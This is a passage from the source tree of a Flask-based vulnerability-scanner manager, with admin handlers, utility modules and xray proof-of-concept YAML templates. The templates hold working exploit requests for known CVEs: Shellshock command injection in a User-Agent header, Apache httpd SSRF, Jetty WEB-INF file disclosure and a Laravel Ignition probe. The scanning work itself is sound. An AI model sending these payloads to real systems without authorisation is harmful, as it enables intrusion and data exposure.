'GET']) 99 | @login_check 100 | @fix_response 101 | def delete(): 102 | response = {'data': {'res': []}} 103 | username_id = request.json.get('id', '') 104 | username_ids = request.json.get('ids', '') 105 | if username_id != '' or username_ids != '': 106 | if username_id != '': 107 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first() 108 | if username: 109 | db.session.delete(username) 110 | db.session.commit() 111 | response['data']['res'].append(username_id) 112 | elif username_ids != '': 113 | try: 114 | for username_id in username_ids.split(','): 115 | username_id = username_id.replace(' ', '') 116 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first() 117 | if username: 118 | db.session.delete(username) 119 | db.session.commit() 120 | response['data']['res'].append(username_id) 121 | except: 122 | pass 123 | conf.dict_username = db.session.query(DictUsername).all() 124 | return response 125 | return ApiStatus.ERROR_IS_NOT_EXIST 126 | -------------------------------------------------------------------------------- /lib/hander/manager/system/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/system/enginehander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from lib.hander import db 11 | from lib.util.util import get_time 12 | from lib.util.util import get_timestamp 13 | from lib.core.g import conf 14 | from lib.core.env import * 15 | from lib.core.model import Engine 16 | from lib.core.enums import EngineStatus 17 | from lib.core.enums import ApiStatus 18 | from lib.hander.basehander import save_sql 19 | from lib.hander.basehander import fix_response 20 | from lib.hander.basehander import login_check 21 | 22 | mod = Blueprint('engine', __name__, url_prefix=f"{PREFIX_URL}/manger/engine") 23 | 24 | @mod.route('/index', methods=['POST', 'GET']) 25 | @login_check 26 | def index(): 27 | ctx = {} 28 | ctx['title'] = 'Engine' 29 | ctx['role'] = session.get('role') 30 | ctx['username'] = session.get('username') 31 | ctx['engine_status'] = EngineStatus 32 | return render_template('manager/system/engine.html', **ctx) 33 | 34 | @mod.route('/list', methods=['POST', 'GET']) 35 | @login_check 36 | @fix_response 37 | def list(): 38 | response = { 39 | 'data': { 40 | 'res': [], 41 | 'total': 0, 42 | } 43 | } 44 | page = request.json.get('page', 1) 45 | per_page = request.json.get('per_page', 10) 46 | name = request.json.get('name', '') 47 | status = request.json.get('status', '') 48 | ip = request.json.get('ip', '') 49 | condition = (1 == 1) 50 | if name != '': 51 | condition = and_(condition, Engine.name.like('%' + name + '%')) 52 | 53 | if status != '': 54 | condition = and_(condition, Engine.status.like('%' + status + '%')) 55 | 56 | if ip != '': 57 | condition = and_(condition, Engine.ip.like('%' + ip + '%')) 58 | 59 | if per_page == 'all': 60 | engines = db.session.query(Engine).filter(condition).order_by(Engine.update_time.desc()).all() 61 | else: 62 | engines = db.session.query(Engine).filter(condition).order_by(Engine.update_time.desc()).paginate(page=page, 63 | per_page=per_page).items 64 | for row in engines: 65 | # 刷新状态 66 | laster = row.update_time 67 | temp = get_time(get_timestamp() - conf.basic.heartbeat_time - 300) 68 | if temp > laster: 69 | if row.status == EngineStatus.OK: 70 | row.status = EngineStatus.OFFLINE 71 | row.task_num = 0 72 | save_sql(row) 73 | response['data']['res'].append(row.to_json()) 74 | response['data']['total'] = db.session.query(Engine).filter(condition).count() 75 | return response 76 | 77 | @mod.route('/delete', methods=['POST', 'GET']) 78 | @login_check 79 | @fix_response 80 | def delete(): 81 | response = {'data': {'res': []}} 82 | engine_id = request.json.get('id', '') 83 | engine_ids = request.json.get('ids', '') 84 | if engine_id != '' or engine_ids != '': 85 | if engine_id != '': 86 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first() 87 | if engine: 88 | db.session.delete(engine) 89 | db.session.commit() 90 | response['data']['res'].append(engine_id) 91 | if engine_ids != '': 92 | try: 93 | for engine_id in engine_ids.split(','): 94 | engine_id = engine_id.replace(' ', '') 95 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first() 96 | if engine: 97 | db.session.delete(engine) 98 | db.session.commit() 99 | response['data']['res'].append(engine_id) 100 | except: 101 | pass 102 | return response 103 | return ApiStatus.ERROR_IS_NOT_EXIST 104 | 105 | 106 | @mod.route('/edit', methods=['POST', 'GET']) 107 | @login_check 108 | @fix_response 109 | def edit(): 110 | engine_id = request.json.get('id', '') 111 | name = request.json.get('name', '') 112 | description = request.json.get('description', '') 113 | scan_max_task_num = request.json.get('scan_max_task_num', '') 114 | status = request.json.get('status', '') 115 | mark = request.json.get('mark', '') 116 | 117 | if status not in [EngineStatus.OK, EngineStatus.STOP]: 118 | return ApiStatus.ERROR_INVALID_INPUT 119 | 120 | if engine_id != '': 121 | engine_id = engine_id 122 | engine = db.session.query(Engine).filter(Engine.id == engine_id).first() 123 | if engine: 124 | engine.mark = mark 125 | engine.name = name 126 | engine.description = description 127 | engine.scan_max_task_num = scan_max_task_num 128 | engine.status = status 129 | engine.update_time = get_time() 130 | save_sql(engine) 131 | return {'data': {'res': [engine_id]}} 132 | 133 | return ApiStatus.ERROR_IS_NOT_EXIST 134 | -------------------------------------------------------------------------------- /lib/hander/manager/system/loghander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from sqlalchemy import or_ 11 | from lib.core.model import Log 12 | from lib.core.model import User 13 | from lib.hander import db 14 | from lib.core.env import * 15 | from lib.util.util import get_timestamp 16 | from lib.util.util import get_time 17 | from lib.core.enums import ApiStatus 18 | from lib.core.enums import WebLogType 19 | from lib.hander.basehander import fix_response 20 | from lib.hander.basehander import login_check 21 | 22 | mod = Blueprint('log', __name__, url_prefix=f"{PREFIX_URL}/manger/log") 23 | 24 | @mod.route('/index', methods=['POST', 'GET']) 25 | @login_check 26 | def index(): 27 | ctx = {} 28 | ctx['title'] = 'Log' 29 | ctx['role'] = session.get('role') 30 | ctx['username'] = session.get('username') 31 | ctx['log_type'] = WebLogType 32 | return render_template('manager/system/log.html', **ctx) 33 | 34 | 35 | @mod.route('/list', methods=['POST', 'GET']) 36 | @login_check 37 | @fix_response 38 | def list(): 39 | response = { 40 | 'data': { 41 | 'res': [], 42 | 'total': 0, 43 | } 44 | } 45 | page = request.json.get('page', 1) 46 | per_page = request.json.get('per_page', 10) 47 | update_time = request.json.get('update_time', '') 48 | url = request.json.get('url', '') 49 | ip = request.json.get('ip', '') 50 | user = request.json.get('user', '') 51 | description = request.json.get('description', '') 52 | condition = (1 == 1) 53 | if update_time != '': 54 | condition = and_(condition, Log.update_time.like('%' + update_time + '%')) 55 | 56 | if description != '': 57 | condition = and_(condition, Log.description.like('%' + description + '%')) 58 | 59 | if url != '': 60 | condition = and_(condition, Log.url.like('%' + url + '%')) 61 | 62 | if user != '': 63 | users = db.session.query(User).filter(User.username.like('%' + user + '%')).all() 64 | condition_user = (1 == 2) 65 | for user in users: 66 | condition_user = or_(condition_user, Log.user_id == user.id) 67 | condition = and_(condition, condition_user) 68 | 69 | if ip != '': 70 | condition = and_(condition, Log.body.like('%' + ip + '%')) 71 | 72 | if per_page == 'all': 73 | for row in db.session.query(Log).filter(condition).all(): 74 | response['data']['res'].append(row.to_json()) 75 | else: 76 | for row in db.session.query(Log).filter(condition).order_by(Log.update_time.desc()).paginate(page=page, per_page=per_page).items: 77 | response['data']['res'].append(row.to_json()) 78 | response['data']['total'] = db.session.query(Log).filter(condition).count() 79 | return response 80 | 81 | @mod.route('/clear_all', methods=['POST', 'GET']) 82 | @login_check 83 | @fix_response 84 | def clear_all(): 85 | response = {'data': {'res': []}} 86 | delete_time = get_time(get_timestamp()) 87 | condition = (1 == 1) 88 | condition = and_(condition, Log.update_time <= delete_time) 89 | db.session.query(Log).filter(condition).delete(synchronize_session=False) 90 | return response 91 | 92 | @mod.route('/delete', methods=['POST', 'GET']) 93 | @login_check 94 | @fix_response 95 | def delete(): 96 | response = {'data': {'res': []}} 97 | log_id = request.json.get('id', '') 98 | log_ids = request.json.get('ids', '') 99 | if log_id != '' or log_ids != '': 100 | if log_id != '': 101 | log_id = int(log_id) 102 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False) 103 | return response 104 | if log_ids != '': 105 | try: 106 | for log_id in log_ids.split(','): 107 | log_id = int(log_id.replace(' ', '')) 108 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False) 109 | except: 110 | pass 111 | return response 112 | return ApiStatus.ERROR_IS_NOT_EXIST -------------------------------------------------------------------------------- /lib/util/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/util/addonutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | import importlib.util 7 | import traceback 8 | 9 | from lib.core.env import * 10 | from lib.core.g import log 11 | 12 | 13 | def import_addon_file(addons_path=None): 14 | """载入addon""" 15 | 16 | addon_list = [] 17 | addon_path_list = [] 18 | if addons_path: 19 | _len = len(ROOT_PATH) + 1 20 | if os.path.isdir(addons_path): 21 | for parent, dirnames, filenames in os.walk(addons_path, followlinks=True): 22 | for each in filenames: 23 | if '__init__' in each or each.startswith('.') or not each.endswith('.py') or each == "init.py": 24 | continue 25 | 26 | addon_path = '.'.join(re.split('[\\\\/]', os.path.join(parent, each)[_len:-3])) 27 | addon_path_list.append(addon_path) 28 | else: 29 | if addons_path.startswith(ROOT_PATH): 30 | addons_path = addons_path[_len:] 31 | if addons_path.endswith('.py'): 32 | addons_path = addons_path[: -3] 33 | addon_path = '.'.join(re.split('[\\\\/]', addons_path)) 34 | addon_path_list.append(addon_path) 35 | 36 | addon_path_list.sort() 37 | 38 | for addon_path in addon_path_list: 39 | addon = import_script_file(addon_path) 40 | if addon: 41 | try: 42 | addon = addon.Addon() 43 | addon_path = addon.info().get("addon_path", None) 44 | log.debug(f"Import addon file, addon: {addon_path}") 45 | except Exception as e: 46 | traceback.print_exc() 47 | log.error(f'Error import addon file, addon: {addons_path}, error: {str(e)}') 48 | else: 49 | addon_list.append(addon) 50 | return addon_list 51 | 52 | 53 | def import_script_file(script_file=None): 54 | """载入script""" 55 | 56 | try: 57 | module_spec = importlib.util.find_spec(script_file) 58 | except: 59 | log.error(f'Error load addon, addon: {script_file}, error: module spec error') 60 | return None 61 | else: 62 | if module_spec: 63 | try: 64 | module = importlib.import_module(script_file) 65 | module = importlib.reload(module) 66 | if 'Addon' not in dir(module): 67 | log.error(f'Error import script file, addon: {script_file}, error: can\'t find Addon class.') 68 | else: 69 | return module 70 | except Exception as e: 71 | traceback.print_exc() 72 | log.error(f'Error import script file, addon: {script_file}, error: {str(e)}') 73 | else: 74 | log.error(f'Error import script file, addon: {script_file}, error: module spec error') 75 | return None 76 | -------------------------------------------------------------------------------- /lib/util/cipherutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import hashlib 6 | from jwt import PyJWT 7 | from base64 import b64encode 8 | from base64 import b64decode 9 | from urllib.parse import unquote 10 | from urllib.parse import quote 11 | 12 | 13 | def md5(message): 14 | """md5""" 15 | obj = hashlib.md5() 16 | obj.update(message.encode(encoding='utf-8')) 17 | return obj.hexdigest() 18 | 19 | 20 | def get_file_md5(file_path): 21 | """获取文件md5""" 22 | with open(file_path, 'rb') as f: 23 | md5obj = hashlib.md5() 24 | md5obj.update(f.read()) 25 | _hash = md5obj.hexdigest() 26 | return str(_hash).upper() 27 | 28 | def jwtencode(message, secret_key, algorithm='HS256'): 29 | """jwt 加密""" 30 | instance = PyJWT() 31 | data = instance.encode(message, secret_key, algorithm=algorithm) 32 | return data 33 | 34 | def jwtdecode(token, secret_key, algorithms=None, do_time_check=True): 35 | """jwt 解密""" 36 | if algorithms is None: 37 | algorithms = ["HS256"] 38 | 39 | instance = PyJWT() 40 | data = instance.decode(token, secret_key, algorithms=algorithms, do_time_check=do_time_check) 41 | return data 42 | 43 | def urldecode(value, encoding='utf-8'): 44 | """url解码""" 45 | 46 | return unquote(value, encoding) 47 | 48 | 49 | def safe_urldecode(value, encoding='utf-8'): 50 | """url解码, 不报错版""" 51 | 52 | try: 53 | return urldecode(value, encoding) 54 | except: 55 | return None 56 | 57 | 58 | def urlencode(value, encoding='utf-8', all=False): 59 | """url编码""" 60 | if all: 61 | return ''.join('%{:02X}'.format(ord(c)) for c in value) 62 | else: 63 | return quote(value, encoding) 64 | 65 | def safe_urlencode(value, encoding='utf-8'): 66 | """url编码, 不报错版""" 67 | try: 68 | return urlencode(value, encoding) 69 | except: 70 | return None 71 | 72 | 73 | def base64encode(value, table=None, encoding='utf-8'): 74 | """base64编码""" 75 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 76 | if type(value) is not bytes: 77 | value = bytes(value, encoding) 78 | if table: 79 | return str(str.translate(str(b64encode(value)), str.maketrans(b64_table, table)))[2:-1] 80 | else: 81 | return str(b64encode(value), encoding=encoding) 82 | 83 | 84 | def safe_base64encode(value, table=None, encoding='utf-8'): 85 | """base64编码, 不报错版""" 86 | try: 87 | return base64encode(value, table, encoding) 88 | except: 89 | return None 90 | 91 | 92 | def base64decode(value, table=None, encoding='utf-8'): 93 | """base64解码""" 94 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 95 | if table: 96 | return b64decode(str.translate(value, str.maketrans(table, b64_table))) 97 | else: 98 | if type(value) is not bytes: 99 | value = bytes(value, encoding) 100 | return b64decode(value) 101 | 102 | 103 | def safe_base64decode(value, table=None, encoding='utf-8'): 104 | """base64解码, 不报错版""" 105 | try: 106 | result = base64decode(value, table, encoding) 107 | if isinstance(result, bytes): 108 | result = result.decode(encoding) 109 | return result 110 | except: 111 | return None -------------------------------------------------------------------------------- /lib/util/configutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import os 6 | import json 7 | import configparser 8 | from attribdict import AttribDict 9 | 10 | def load_conf(path): 11 | """加载配置文件""" 12 | 13 | config = AttribDict() 14 | cf = configparser.ConfigParser() 15 | cf.read(path) 16 | sections = cf.sections() 17 | for section in sections: 18 | config[section] = AttribDict() 19 | for option in cf.options(section): 20 | value = cf.get(section, option) 21 | try: 22 | if value.startswith("{") and value.endswith("}") or value.startswith("[") and value.endswith("]"): 23 | value = json.loads(value) 24 | elif value.lower() == "false": 25 | value = False 26 | elif value.lower() == "true": 27 | value = True 28 | else: 29 | value = int(value) 30 | except Exception as e: 31 | pass 32 | config[section][option] = value 33 | return config 34 | 35 | 36 | def init_conf(path, configs): 37 | """初始化配置文件""" 38 | 39 | dirname = os.path.dirname(path) 40 | if not os.path.exists(dirname): 41 | os.makedirs(dirname) 42 | 43 | cf = configparser.ConfigParser(allow_no_value=True) 44 | for (section, section_comment), section_value in configs.items(): 45 | cf.add_section(section) 46 | 47 | if section_comment and section_comment != "": 48 | cf.set(section, fix_comment_content(f"{section_comment}\r\n")) 49 | 50 | for (key, key_comment), key_value in section_value.items(): 51 | if key_comment and key_comment != "": 52 | cf.set(section, fix_comment_content(key_comment)) 53 | if isinstance(key_value, dict) or isinstance(key_value, list): 54 | key_value = json.dumps(key_value) 55 | else: 56 | key_value = str(key_value) 57 | cf.set(section, key, f"{key_value}\r\n") 58 | 59 | with open(path, 'w+') as configfile: 60 | cf.write(configfile) 61 | 62 | 63 | def fix_comment_content(content): 64 | """按照80个字符一行就行格式化处理""" 65 | 66 | text = f'; ' 67 | for i in range(0, len(content)): 68 | if i != 0 and i % 80 == 0: 69 | text += '\r\n; ' 70 | text += content[i] 71 | return text 72 | 73 | 74 | def parser_conf(config_file_list): 75 | """解析配置文件,如不存在则创建""" 76 | 77 | config = dict() 78 | flag = True 79 | for _config_file, _config in config_file_list: 80 | 81 | if not os.path.exists(_config_file): 82 | flag = False 83 | init_conf(_config_file, _config) 84 | print(f"Please set the config in {_config_file}...") 85 | 86 | temp_conf = load_conf(_config_file) 87 | config.update(temp_conf.as_dict()) 88 | 89 | if not flag: 90 | exit() 91 | 92 | return AttribDict(config) 93 | -------------------------------------------------------------------------------- /lib/util/flowutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from typing import Type 6 | from typing import Dict 7 | from typing import Union 8 | from typing import Any 9 | from typing import cast 10 | from mitmproxy import exceptions 11 | from mitmproxy.io import compat 12 | from mitmproxy.io import tnetstring 13 | from mitmproxy.flow import Flow 14 | from mitmproxy.tcp import TCPFlow 15 | from mitmproxy.http import HTTPFlow 16 | 17 | 18 | FLOW_TYPES: Dict[str, Type[Flow]] = dict( 19 | http=HTTPFlow, 20 | tcp=TCPFlow, 21 | ) 22 | 23 | 24 | def flow_dumps(flow: Flow): 25 | """序列化flow数据""" 26 | 27 | d = flow.get_state() 28 | w = tnetstring.dumps(d) 29 | return w 30 | 31 | 32 | def flow_loads(data: bytes): 33 | """反序列化flow数据""" 34 | 35 | try: 36 | loaded = cast( 37 | Dict[Union[bytes, str], Any], 38 | tnetstring.loads(data), 39 | ) 40 | try: 41 | mdata = compat.migrate_flow(loaded) 42 | except ValueError as e: 43 | raise exceptions.FlowReadException(str(e)) 44 | if mdata["type"] not in FLOW_TYPES: 45 | raise exceptions.FlowReadException("Unknown flow type: {}".format(mdata["type"])) 46 | return FLOW_TYPES[mdata["type"]].from_state(mdata) 47 | except (ValueError, TypeError) as e: 48 | if str(e) == "not a tnetstring: empty file": 49 | return 50 | raise exceptions.FlowReadException("Invalid data format.") 51 | 52 | -------------------------------------------------------------------------------- /manager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start_manager 8 | 9 | 10 | def arg_set(parser): 11 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str) 12 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int) 13 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False) 14 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False) 15 | return parser 16 | 17 | if __name__ == '__main__': 18 | parser = ArgumentParser(add_help=False) 19 | parser = arg_set(parser) 20 | args = parser.parse_args() 21 | if args.help: 22 | parser.print_help() 23 | else: 24 | start_manager(args) 25 | -------------------------------------------------------------------------------- /poc/xray/pocs/apache-httpd-cve-2021-40438-ssrf.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-apache-httpd-cve-2021-40438-ssrf 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets 10 | follow_redirects: false 11 | expression: response.status == 302 && response.headers["location"] == "http://www.baidu.com/search/error.html" 12 | expression: r0() 13 | detail: 14 | author: Jarcis-cy(https://github.com/Jarcis-cy) 15 | links: 16 | - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438 17 | -------------------------------------------------------------------------------- /poc/xray/pocs/bash-cve-2014-6271.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-bash-cve-2014-6271 2 | manual: true 3 | transport: http 4 | set: 5 | r1: randomInt(800000000, 1000000000) 6 | r2: randomInt(800000000, 1000000000) 7 | rules: 8 | r0: 9 | request: 10 | cache: true 11 | method: GET 12 | headers: 13 | User-Agent: () { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}' 14 | follow_redirects: false 15 | expression: response.body.bcontains(bytes(string(r1 + r2))) 16 | expression: r0() 17 | detail: 18 | author: neal1991(https://github.com/neal1991) 19 | links: 20 | - https://github.com/opsxcq/exploit-CVE-2014-6271 21 | -------------------------------------------------------------------------------- /poc/xray/pocs/jetty-cve-2021-28164.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-jetty-cve-2021-28164 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /%2e/WEB-INF/web.xml 10 | follow_redirects: false 11 | expression: response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"</web-app>") 12 | expression: r0() 13 | detail: 14 | author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x) 15 | links: 16 | - https://www.linuxlz.com/aqld/2309.html 17 | -------------------------------------------------------------------------------- /poc/xray/pocs/laravel-cve-2021-3129.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-laravel-cve-2021-3129 2 | manual: true 3 | transport: http 4 | set: 5 | r: randomLowercase(12) 6 | rules: 7 | r0: 8 | request: 9 | cache: true 10 | method: POST 11 | path: /_ignition/execute-solution 12 | headers: 13 | Content-Type: application/json 14 | body: |- 15 | { 16 | "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", 17 | "parameters": { 18 | "variableName": "username", 19 | "viewFile": "{{r}}" 20 | } 21 | } 22 | follow_redirects: true 23 | expression: > 24 | response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream")) 25 | expression: r0() 26 | detail: 27 | author: 